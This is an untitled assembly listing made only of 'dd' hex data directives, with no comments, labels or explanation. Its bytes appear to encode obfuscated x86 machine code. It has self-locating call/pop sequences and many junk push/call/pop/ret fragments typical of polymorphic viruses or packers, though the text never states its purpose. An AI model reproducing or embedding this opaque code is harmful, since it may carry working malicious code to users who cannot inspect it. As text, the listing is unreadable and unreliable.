		dd 88306410h, 3288BC26h, 335FD9C7h, 713BD9Dh, 0ADBD8306h
		dd 60AA6h, 39840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0AE1BE6C3h, 0B5893380h
		dd 6071BDDh, 27E9DF8Bh,	89000000h, 706F99Dh, 0ED9D8B06h
		dd 50060712h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 978032C3h, 1D55B2A8h, 0E815F270h
		dd 9, 1F49C398h, 0E5A53539h, 0E995893Dh, 5B060726h, 0FF9BD8Bh
		dd 0BD830607h, 6072D05h, 37850F03h, 89000004h, 71DA19Dh
		dd 0ADBD8306h, 60AA6h, 424840Fh, 800F0000h, 6, 1CA19D89h
		dd 0BF0F0607h, 0ADB5FFF8h, 8B060AA6h, 710699Dh,	68B0F06h
		dd 29000000h, 7280D9Dh,	3D95FF06h, 6A060704h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0AD25C350h, 0B58BCB58h, 60AA6A1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0B4C35343h,	980B6BCh, 712319Dh
		dd 39BD8B06h, 0C7060721h, 1000106h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F9E01EE3h
		dd 0A8E0F96h, 50000000h, 0F5F5352h, 5AF88B31h, 0FE95058h
		dd 2000000h, 7CD6BC54h,	2C6BFB70h, 7BFFE136h, 0E896970Ah
		dd 14h,	4329FE5h, 1BE13AEFh, 0BBFB2023h, 3529052Fh, 54B1EE95h
		dd 279D9D09h, 0FF5B0607h, 0AA6ADB5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0E84E2CE3h
		dd 5598460Bh, 59BD8BABh, 3106071Bh, 732118Dh, 5595FF06h
		dd 0F06071Ah, 284h, 8BDE8A00h, 0AA6A1B5h, 0D958906h, 0E9060713h
		dd 0Ch,	0B8BC3651h, 3EB02807h, 0E75C4002h, 1389858Bh, 6A0607h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 63450C3h, 0C4868994h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 2E6FC350h
		dd 0B0FD345Dh, 85093BBDh, 6071495h, 679958Bh, 6A0607h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0E96D97C3h, 8FEF0D7h, 4C28365h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 85C35242h, 619D89ACh, 89060732h
		dd 0CE92050h, 0DF000000h, 5BD3C0BDh, 0D4CD5562h, 0F4559A3h
		dd 858DD8B7h, 60ABA1Fh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 23C35040h, 86894163h,	0B8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 43C35747h
		dd 0DFBF0FFFh, 0AE9h, 0B234DC00h, 9204F709h, 6AF22626h
		dd 85BD2B00h, 0FF06072Ah, 0AA6ADB5h, 3E12BB06h,	95FF0137h
		dd 6071AF9h, 968CC380h,	0F88B6652h, 0ABBF505Bh,	961DF285h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0BDC35040h
		dd 9AB52A75h, 0ED5A6E3Ah, 0FE9h, 47DBD700h, 0F522E07Ah
		dd 6FD6C10Ah, 53E3D4Fh,	0A6ADB5FFh, 6A060Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0E56423C3h
		dd 0FFE86986h, 7152995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 97CD9657h, 0BB66A3CFh
		dd 0BD837DBBh, 60712A5h, 62840F00h, 0BF000000h,	2894C90Fh
		dd 0C8BF6696h, 666050A8h, 666DA1BAh, 61198EBEh,	52006A96h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0A58E3ABAh, 8BEA4080h, 71405BDh, 0DE806h, 0EEB00000h
		dd 171F47E6h, 0D586D9E0h, 0E9F1F1DAh, 0Ch, 8D6ADC23h, 8F89988Ah
		dd 0F39058CCh, 0ADB5FF5Fh, 6A060AA6h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 187DC353h
		dd 0F8B70FA0h, 55595FFh, 0BF660607h, 9D234785h,	6073249h
		dd 0A6ADB5FFh, 0B509060Ah, 60727D1h, 1FF995FFh,	85890607h
		dd 6072125h, 1F1DBD83h,	0F020607h, 3784h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0FC0D440Fh, 6DD858Bh, 7E90607h, 0A1000000h, 8C8A392Ah
		dd 0C6E922h, 54E78000h,	269185C7h, 607h, 0FE8B0000h, 0BD5BD8Bh
		dd 0C1E90607h, 80FFFFF2h, 0C18B09C3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 9DC35545h, 0BF0F4C38h, 85858DF9h
		dd 66060707h, 9F7BE381h, 0BE950h, 0B4DB0000h, 9ED5E272h
		dd 848D94B0h, 240489A2h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0CBC35141h, 38333106h, 880FF292h, 1
		dd 0DE9F5h, 0FB6B0000h,	74A41BC4h, 652D2A9Dh, 6ABB0804h
		dd 8E900h, 10080000h, 62339350h, 6A1EFDh, 0ABEF8166h, 0C9858D9Dh
		dd 6A060B9Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 3B8CC350h, 0C083CAB9h,	57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8D0981D9h, 60716C9h,	9795BB90h, 90506FE5h, 735B531h
		dd 6A0607h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 14h,	9EC35343h, 8ED38053h, 6A006A5Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0CC31C352h
		dd 251B335Ah, 0BC5AE759h, 0BFF88B66h, 220E3B05h, 4C195FFh
		dd 0FE80607h, 9C000000h, 7BA4C058h, 0DAF57279h,	0D1855491h
		dd 9D296AF6h, 6070401h,	4F8D8D5Bh, 0FF060AA6h, 0DB589D1h
		dd 83060726h, 7218DBDh,	850F0106h, 0ABh, 6AF88B66h, 0BD2B5702h
		dd 6072C65h, 12E95Fh, 42840000h, 946ECCA5h, 16101E53h
		dd 8B2923B2h, 0FD58CFC6h, 0E820F90h, 50000000h,	0F616052h
		dd 0F525031h, 5A585A31h, 52505058h, 11E9h, 0A8BE2900h
		dd 0C2131F23h, 513FDDB8h, 0C129A97Eh, 310FA47Bh, 585AF88Bh
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0F995FF34h, 6A06071Ah, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0AE24C356h
		dd 72BC90BBh, 9E9DAh, 15C80000h, 57B3C8F2h, 0E9F5D2FCh
		dd 0D15h, 0E8h,	0ED815D00h, 60B9BD3h, 152D9D8Bh, 6A0607h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 29536AC3h, 7208995h,	858D5B06h, 60A9108h, 2F80DCBFh
		dd 489503Bh, 6416B724h,	35FFh, 89640000h, 25h, 0D19D8B00h
		dd 0FF06072Ch, 732F185h, 12E906h, 0F29A0000h, 0DB564207h
		dd 724615F4h, 365B376Ch, 0A7153756h, 0BD89FF6Ah, 60731D5h
		dd 32C5B5FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 72FFA2C3h, 0FC5DECBh, 8Ch, 0C995FF00h
		dd 0E906071Ah, 105h, 2645BD8Bh,	0B00607h, 0FF18589h, 0C4BF0607h
		dd 0E6171CF2h, 2971E470h, 71D299Dh, 5D850906h, 3C06071Eh
		dd 0DA830F61h, 8B000000h, 70D1D9Dh, 0C8B60F06h,	6BAFE8Ah
		dd 29000000h, 70E458Dh,	0E8C18B06h, 9, 4AA276A7h, 0EFB22AA0h
		dd 598D8958h, 5F060722h, 0FC04E8C1h, 0F5E2F766h, 890FC82Bh
		dd 6, 0FCDBD0Bh, 0D18B0607h, 8AF38166h,	0E904h,	858B0000h
		dd 6072165h, 0AB19D8Bh,	0C0830607h, 0C08307h, 12E951h
		dd 6FFD0000h, 0D189226Ch, 0A1F224B2h, 5CBCBA7Ah, 854FA703h
		dd 0FD03B5Fh, 1C83h, 0EF805700h, 4EE95F0Fh, 0F000000h
		dd 68Dh, 0DBD2B00h, 89060700h, 70E05BDh, 798D8B06h, 6606071Bh
		dd 838EB6BBh, 840F01E1h, 29h, 0BF0F5160h, 1615BD2h, 72D59BDh
		dd 79A58306h, 0FE06071Bh, 0F67CBB66h, 21659589h, 95290607h
		dd 6071049h, 0E9h, 0C3B58D00h, 6A060AFEh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 892BC355h
		dd 7568608h, 12E852h, 0AC790000h, 1871456Fh, 5E1FB864h
		dd 109AEBA3h, 2F5EF352h, 8C0Fh,	5F5B0000h, 0FFF9006Ah
		dd 716B595h, 0EDBD8B06h, 0B906070Fh, 834h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 90C35545h, 0BFCC8477h
		dd 0DF8B3D44h, 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0EC33C356h,	0F0AE0B70h
		dd 1BF99D8Bh, 6AFC0607h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0F3FCC352h,	0B86CE9C0h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 72C35343h
		dd 0BAA5h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0ADAFE9C3h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 7FE5C356h, 20B59D89h, 8E0F0607h
		dd 19h,	14E9h, 8EA6DC00h, 0AA57A119h, 4B50F8EEh, 2D6C7037h
		dd 6CBDAC7h, 800FF931h,	0Ch, 68D0Fh, 0B5890000h, 607283Dh
		dd 0C1DCCB81h, 880D1D4Ch, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 1378C353h
		dd 40719D45h, 9D9D3360h, 0F06071Dh, 28Bh, 615F5300h, 679958Bh
		dd 0BD8B0607h, 607087Dh, 2CE58D8Bh, 6A0607h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0E96F5DC3h
		dd 0Ah,	0C413C97Ch, 21BBA73h, 8B50073Bh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 0D2C35242h, 1F759531h, 9D890607h, 6071AADh
		dd 10E5BD83h, 0F000607h, 4584h,	0A99D8B00h, 0B8060732h
		dd 0
		dd 27659589h, 20BF0607h, 8D7577C2h, 74E1C8Dh, 0FFDA8A06h
		dd 50006AE1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 998094C5h, 0FC1860Dh, 0BD83F8B7h, 6072D05h
		dd 80840F00h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 3FC2C356h, 429DDCECh
		dd 0F962984h, 582h, 0C9B5BF00h,	858974F1h, 6070EA1h, 2D05BD83h
		dd 0F010607h, 45984h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 4F5B9EEEh, 14E969h, 30190000h
		dd 0B2D70B17h, 43089CFAh, 0B0084388h, 66EA4E5Eh, 0BB661195h
		dd 0BD83E622h, 6072D05h, 0D9860F03h, 60000003h,	3FB86660h
		dd 8C6661CAh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 963231D7h, 8B5ECBF2h, 717519Dh, 4E18006h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0FEC35242h
		dd 0AFA342A2h, 8459D8Bh, 0BD8B0607h, 6072595h, 840FC90Ah
		dd 140h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	20C35242h, 9F6FA6EFh, 0D55AC6DCh, 29858B06h, 0E8060706h
		dd 11h,	0BDCCC21Fh, 4750FBFh, 7FA7B398h, 0BDE01BD0h, 499D8BEBh
		dd 5B060726h, 1E758533h, 6A0607h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 949409C3h, 0F8326BF1h
		dd 0D9B70F04h, 381BB90h, 0E95057D5h, 5,	0ED7281E6h, 9D8B9087h
		dd 6072BF9h, 8B66006Ah,	4E8D9h,	3FF0000h, 5053001Fh, 10AEBB52h
		dd 310F61B2h, 505B585Ah, 5E9h, 9B221600h, 448B7958h, 10E90424h
		dd 0FA000000h, 0F54D3EBh, 0D28A3FB0h, 0C5B89A43h, 8B644986h
		dd 41BF6600h, 24448961h, 9E904h, 3C20000h, 4E67242Dh, 58B134B1h
		dd 56CF8166h, 195FF76h,	6A06071Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0DDD7C355h
		dd 667E7D34h, 0F84FEF81h, 0A6AD8589h, 0BF66060Ah, 9D89F0B4h
		dd 6070991h, 217E9h, 81E38000h,	8E8h, 0A9A9FE00h, 0FB5BAA12h
		dd 298D2954h, 5B060708h, 0A6A5858Bh, 8960060Ah,	71DF9BDh
		dd 9D8B6106h, 6072649h,	1800C7h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 79305BC3h
		dd 9D5F2549h, 6DBD8B53h, 8B06070Eh, 0AA6A9B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0CA476B64h, 0C21858Bh, 6A0607h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 98AAD1C3h, 8B0689A9h
		dd 29858BFEh, 6A060706h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 19F3C350h, 0BDCFD19Ch
		dd 8F0F5270h, 2, 4689DF8Bh, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 894B727Fh
		dd 8D01ED68h, 6070A45h,	6880Fh,	0B5010000h, 6070C59h, 98D0F50h
		dd 0F000000h, 38Bh, 0D98B6600h,	6A243489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F116C351h
		dd 0C9C1A7F5h, 8D31972Eh, 6070035h, 121DB589h, 0B5FF0607h
		dd 60AA6A5h, 16D1BD8Bh,	4E80607h, 0FF000000h, 50001F03h
		dd 7E8h, 0B931EC00h, 0E61B9B0h,	5B6CB2BBh, 448B5B48h, 66510424h
		dd 5BEB6FBFh, 8B66008Bh, 244489DAh, 0DF8B6604h,	0AE958h
		dd 0AB2E0000h, 0C1EE25DEh, 0D7E8DA52h, 0A6AD858Dh, 8A0F060Ah
		dd 3, 90FB8B66h, 5BFAB752h, 0E8525050h,	14h, 31684D58h
		dd 0BF74BEDDh, 153A0B7Ch, 1097B82Ch, 0AC3F8269h, 0F5F5F51h
		dd 52525031h, 66310F5Bh, 5A2A18BFh, 90585A58h, 0FFFB8B66h
		dd 71D0195h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 9D29D182h, 607072Dh, 66FFB70Fh, 0C574D381h
		dd 93E7BB61h, 85C768B1h, 6072D05h, 3, 0AB20D781h, 0BD8318F9h
		dd 60AA6ADh, 0D840F00h,	8B000000h, 21E9DFh, 8D090000h
		dd 6070CD5h, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 66C08B00h, 2DFBEF81h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0A7C35747h, 838E52ADh, 72D05BDh, 850F0306h
		dd 3E1h, 0BD83DE8Bh, 60AA6ADh, 0D2840F00h, 6A000003h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 8805C350h, 99BB6665h, 0ADB5FFA1h, 6A060AA6h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 1DFC356h, 0E134611Fh, 8B560F8Dh, 70BFD9Dh, 95FF5B06h
		dd 607043Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0D6C35343h, 862BAC35h, 0A1B58BC7h, 0E8060AA6h
		dd 0Fh,	0E2CA1E6Dh, 0B1289EFDh,	4FB2CACEh, 5F76D6E6h, 106C7h
		dd 0B5090001h, 60700DDh, 0D88B6650h, 89243489h,	70B7185h
		dd 0FB8B6606h, 0A6ADB5FFh, 0E960060Ah, 6, 685D3A03h, 8D2BAF61h
		dd 607272Dh, 0C1BD3361h, 0FF060731h, 71A5595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0FCA02CBDh, 0A1B58BF9h, 6A060AA6h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8B43C350h
		dd 7138985h, 9858906h, 8906070Dh, 0C486h, 0F9BD8B00h, 8B060715h
		dd 7067995h, 0C7806006h, 6160577Eh, 0C283615Bh,	89FE8B04h
		dd 5E82050h, 0E3000000h, 0BCB975A2h, 1F858D5Bh,	6A060ABAh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0D764C357h, 0E3BFC105h, 0B56DAB73h, 0C599D31h
		dd 0B5890607h, 607253Dh, 0B88689h, 92B70000h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 2086EAC3h, 1699BD8Bh, 0B5FF0607h, 60AA6ADh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 64C35343h, 53FFC980h
		dd 3A64E25Bh, 0F294BF66h, 0E45BD29h, 95FF0607h,	6071AF9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 93C35040h
		dd 0C2367F9Dh, 7BF05BDh, 1EBDBD89h, 89500607h, 860F2434h
		dd 6, 0B3FFD781h, 0B5FF155Eh, 60AA6ADh,	68F0Fh,	0BD890000h
		dd 60714E9h, 152995FFh,	0BD8B0607h, 6071AFDh, 12A5BD83h
		dd 0F000607h, 2D84h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0AF3D4616h, 0FA8B6604h
		dd 24348950h, 22798D89h, 0B5FF0607h, 60AA6ADh, 0D9BF0F56h
		dd 5595FF5Fh, 6A060705h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 6620C350h, 8AEB73A3h
		dd 0BFBB36B6h, 62B77BA9h, 0A6ADB5FFh
		dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0F8D5EC3h, 95FFFFB7h, 6071FF9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CCC35646h, 0DBD8B00h
		dd 50060714h, 6E9h, 0CFFE00h, 5F54957Bh, 1F1DBD83h, 0F020607h
		dd 7A84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0A59D899Ch, 8B060705h, 706DD85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0E880606Eh, 0C661F5FAh, 6A0000h,	3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0AEAC62C3h, 4B415853h, 0F5604636h, 8758D31h,	0C7610607h
		dd 7269185h, 6,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0A777F967h, 12CD9D03h
		dd 0EB800607h, 0F36AE9D3h, 0FB8BFFFFh, 8B66C18Bh, 85858DD9h
		dd 90060707h, 0DE8B5650h, 9D8B905Bh, 60707E9h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 6D6719C3h, 0AB59529h, 6A0607h, 51858DF5h, 56060BAAh
		dd 1AE19D8Bh, 835F0607h, 8E0F05C0h, 6, 252D8D89h, 89500607h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 6A6AB2C3h, 599D0900h, 6A06072Ch, 0F1853100h
		dd 0FF06070Fh, 704C195h, 0DBD8B06h, 8D060727h, 0AA64F8Dh
		dd 0BDBD0906h, 0FF060720h, 57006AD1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 8B982CF5h
		dd 66BDACE7h, 834115BFh, 7218DBDh, 850F0106h, 97h, 2C959D8Bh
		dd 0BB500607h, 2D754A66h, 6A026A5Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 65DFC355h
		dd 0A442FD3Eh, 10E9h, 9CCF4A00h, 59D35ECFh, 6D6B1A95h
		dd 6DE25A75h, 8B665046h, 240489F9h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0D3C35343h,	11E99EF7h, 0F1000000h
		dd 0EB38C293h, 5565E419h, 97D80076h, 0CA9AE530h, 1AF995FFh
		dd 870F0607h, 0Bh, 8E0F60h, 0F000000h, 0E961CBBFh, 0C44h
		dd 0E8h, 0ED815D00h, 60BAA5Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 27C35040h, 2059BD33h, 0EB800607h
		dd 51006A0Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 3886B28Bh, 9108858Dh, 2952060Ah,	7316585h
		dd 0B7505F06h, 240489AAh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 6CC35141h, 0FCC0C0D4h, 0E8CC3D65h, 10h
		dd 0E7D7A627h, 6BBAE3F8h, 6F31ACDh, 0AD381A9h, 38E0Fh
		dd 0BF0F0000h, 0FF645FFBh, 35h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 644AD576h
		dd 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0B69B70C3h, 0B3F6B8A5h, 32F185FFh
		dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0D03213C3h, 6AFF6A34h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0ADCAC350h
		dd 0C11B5FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 9D029DC3h, 0BD290AD8h, 60704ADh
		dd 0DCA97FBBh, 0C995FF67h, 0E906071Ah, 111h, 9D8B00B0h
		dd 6071D81h, 0B52970E6h, 60702C9h, 0D98B71E4h, 830F613Ch
		dd 0F5h, 6E8h, 0C0F0B900h, 92EBBCCh, 702E58Dh, 0B60F5B06h
		dd 6BAC8h, 0BD8B0000h, 607260Dh, 0C18BFA8Bh, 30459D8Bh
		dd 0E8C10607h, 68C0F04h, 89000000h, 7214D9Dh, 0E2F76606h
		dd 3820Fh, 0D7800000h, 56C82BE0h, 31559501h, 8B5B0607h
		dd 6E9D1h, 5E9A0000h, 0B6E4D4B0h, 10E9h, 0D98B6600h, 5E8h
		dd 0F2835200h, 88B32EB6h, 0F1858B5Bh, 0E9060704h, 9, 4DAE1E69h
		dd 0E9EAB6Eh, 7C083D3h,	14599D23h, 66510607h, 0E4D0F781h
		dd 0C0835Fh, 0D03B5BB3h, 16830Fh, 3600000h, 70E59BDh, 0D68B6606h
		dd 43E961h, 9D8B0000h, 6071CA5h, 2E3D8D8Bh, 8D010607h
		dd 6072D31h, 83D98B66h,	840F01E1h, 25h,	1009B589h, 0A5830607h
		dd 6072E3Dh, 816660FEh,	6114F2E0h, 4F19589h, 95890607h
		dd 607065Dh, 0E9h, 83B58D00h, 81060B08h, 10FBA0CFh, 66006A00h
		dd 95FFFB8Bh, 60716B5h,	32C78166h, 7EBB901h, 0BD010000h
		dd 6072229h, 0FFCE183h,	68Bh, 29BD0100h, 0FC06070Eh, 9E9h
		dd 0BADA3400h, 0F08DC89Ch, 0B8E634h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 3168C357h, 0BADA8Ah,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0AD9CC357h
		dd 0E8D1C233h, 0E983D003h, 0E9F47504h, 0Bh, 0C4A642B7h
		dd 203F66E4h, 94057C7h,	727819Dh, 0D8B70F06h, 880Dh, 0C941BF00h
		dd 958B730Bh, 6070679h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0FBC35545h, 3652E578h, 0E58D8BBFh, 3306072Ch
		dd 716059Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 25F4C357h, 0A429F21Ch,	8B66F98Bh
		dd 0E5BD83D8h, 60710h, 3C840Fh,	0DB800000h, 0B821h, 0D3810000h
		dd 5659EA0Fh, 4E1C8D8Dh, 0D98B0607h, 6AE1FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 3FFB14C3h
		dd 0A93E792Fh, 0BD838BE9h, 6072D05h, 0A3840F00h, 83000003h
		dd 72D05BDh, 840F0106h,	3B1h, 0BCBA6660h, 0BD8361E0h, 6072D05h
		dd 68860F03h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 68BBC352h, 60820E1Fh
		dd 57DEBF0Fh, 0E459D8Bh, 665F0607h, 0BB66D98Ch,	0E1804C52h
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 671DA23Bh, 1F91BD8Bh, 0C90A0607h, 0F7840Fh
		dd 0B70F0000h, 4377BFD8h, 858B1563h, 6070629h, 6870Fh
		dd 0DF810000h, 3EDC8F5Dh, 1E758533h, 8D310607h,	607253Dh
		dd 52506050h, 310FF28Bh, 800Fh,	585A0000h, 24048961h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 7FC35545h, 41E3D539h
		dd 0AE9965Ch, 0DA000000h, 13DEF1F1h, 0CBD88493h, 8B006A8Ch
		dd 728259Dh, 0BEC46806h, 8B664E0Eh, 243481FAh, 4E11BD3Bh
		dd 6800Fh, 0D7810000h, 6037B248h, 1D0195FFh, 6A0607h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 1D306C3h, 8585898Bh,	89060701h, 70CB59Dh, 0AD858906h
		dd 0B3060AA6h, 1E5E9EAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 88B510C3h, 0C54B2E35h
		dd 8992A377h, 72CEDB5h,	0A5858B06h, 6A060AA6h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0CDF9C355h, 0F781EDB0h, 3EF20E58h, 0FE9h, 6C636000h
		dd 64D570B6h, 28CF16A7h, 50689648h, 1800C7h, 820F0000h
		dd 6, 2DED8589h, 0B58B0607h, 60AA6A9h, 9D89DF8Bh, 6072015h
		dd 0C21858Bh, 0BD0B0607h, 60721BDh, 6A0689h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 3285D7C3h
		dd 4F1D7A82h, 9D8B3A7Bh, 6070451h, 629858Bh, 6A0607h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 5C1381C3h, 8909CDC8h, 0FA8A0446h, 0FE8B6650h, 6A243489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0AE99C356h, 996A3016h, 68E0Fh, 0BD010000h
